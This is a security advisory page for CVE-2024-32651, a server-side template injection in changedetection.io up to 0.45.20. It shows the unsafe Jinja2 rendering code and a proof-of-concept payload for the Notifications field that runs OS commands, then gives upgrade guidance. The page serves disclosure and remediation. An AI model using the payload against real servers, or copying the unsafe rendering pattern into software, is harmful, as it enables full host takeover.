# CVE-2024-32651: changedetection.io has a Server Side Template Injection using Jinja2 which allows Remote Command Execution

Source: https://junglewise.ai/threats/cve-2024-32651-changedetection-io-has-a-server-side-template-injection-using  
Publisher: Junglewise Threat Intelligence, https://junglewise.ai/threats  
Published: 2024-10-15  
License: CC BY 4.0 with a link back

CVE-2024-32651 · Severity: critical · CVSS 10 · Published 2024-10-15

### Summary
A Server Side Template Injection in changedetection.io caused by usage of unsafe functions of Jinja2 allows Remote Command Execution on the server host.

### Details

changedetection.io version: 0.45.20
```
docker images
REPOSITORY                            TAG       IMAGE ID       CREATED        SIZE
dgtlmoon/changedetection.io           latest    53529c2e69f1   44 hours ago   423MB
```

The vulnerability is caused by the usage of vulnerable functions of Jinja2 template engine.
```python
from jinja2 import Environment, BaseLoader
...
    # Get the notification body from datastore
    jinja2_env = Environment(loader=BaseLoader)
    n_body = jinja2_env.from_string(n_object.get('notification_body', '')).render(**notification_parameters)
    n_title = jinja2_env.from_string(n_object.get('notification_title', '')).render(**notification_parameters)
```


### PoC
1. Create/Edit a URL watch item
2. Under *Notifications* tab insert this payload: 
```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
```
![Screenshot from 2024-04-19 15-46-04](https://github.com/dgtlmoon/changedetection.io/assets/35783570/b6a5779f-fd1e-4708-9b2d-21cb97f0bb4f)

3. See Telegram (or other supported messaging app) notification

![Screenshot from 2024-04-19 16-02-12](https://github.com/dgtlmoon/changedetection.io/assets/35783570/20877919-d6fe-49f1-bbd2-586e900207f1)


### Impact
In the PoC I've used `id` as payload and Telegram to read the result.  
Attackers can run any system command without any restriction and they don't need to read the result in the notification app (e.g. they could use a reverse shell).
The impact is critical as the attacker can completely takeover the server host.
This can be reduced if changedetection access is protected by login page with a password, but this isn't required by the application (not by default and not enforced).

### References
- https://www.hacktivesecurity.com/blog/2024/05/08/cve-2024-32651-server-side-template-injection-changedetection-io/
- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti
- https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/
- https://docs.cobalt.io/bestpractices/prevent-ssti/

### Credits

Edoardo Ottavianelli

Technologies: [changedetection.io (PyPI)](https://junglewise.ai/threats/technologies/changedetection-io). Vendors: [PyPI](https://junglewise.ai/threats/vendors/pypi).

## Quick answers

**Is CVE-2024-32651 exploited in the wild?** No. Junglewise Threat Intelligence has no report of CVE-2024-32651 being exploited in the wild.

**How severe is CVE-2024-32651?** Critical severity, with a CVSS score of 10, published 15 October 2024.

**Which products and versions are affected?** changedetection.io (PyPI) <= 0.45.20, ECOSYSTEM:introduced=0,fixed=0.45.21.

**Is there a fix for CVE-2024-32651?** Yes. changedetection.io (PyPI): upgrade to 0.45.21 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.

**Am I affected by CVE-2024-32651?** Check whether you run changedetection.io (PyPI) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

## How to fix

- changedetection.io (PyPI): upgrade to 0.45.21 or later

  ```sh
  pip install "changedetection.io>=0.45.21"
  ```


## Affected products

- changedetection.io (PyPI) <= 0.45.20, ECOSYSTEM:introduced=0,fixed=0.45.21

## Identifiers

- CVE-2024-32651
- GHSA-4r7v-whpg-8rx3
- PYSEC-2026-310

## Related threats

- [dgtlmoon changedetection.io path traversal in static content route](https://junglewise.ai/threats/cve-2026-25527-dgtlmoon-changedetection-io-path-traversal-in-static-content)
- [PYSEC-2026-1241 - ChangeDetection.io XSS in watch overview](https://junglewise.ai/threats/cve-2025-52558-changedetection-io-xss-in-watch-overview)
- [PYSEC-2026-1242 - changedetection.io Vulnerable to Improper Input Validation Leading to LFR/Path Traversal](https://junglewise.ai/threats/cve-2024-56509-changedetection-io-vulnerable-to-improper-input-validation)
- [PYSEC-2026-1239 - changedetection.io path traversal using file URI scheme without supplying hostname](https://junglewise.ai/threats/cve-2024-51998-changedetection-io-path-traversal-using-file-uri-scheme-without)
- [PYSEC-2026-1240 - changedetection.io Path Traversal](https://junglewise.ai/threats/cve-2024-51483-changedetection-io-path-traversal)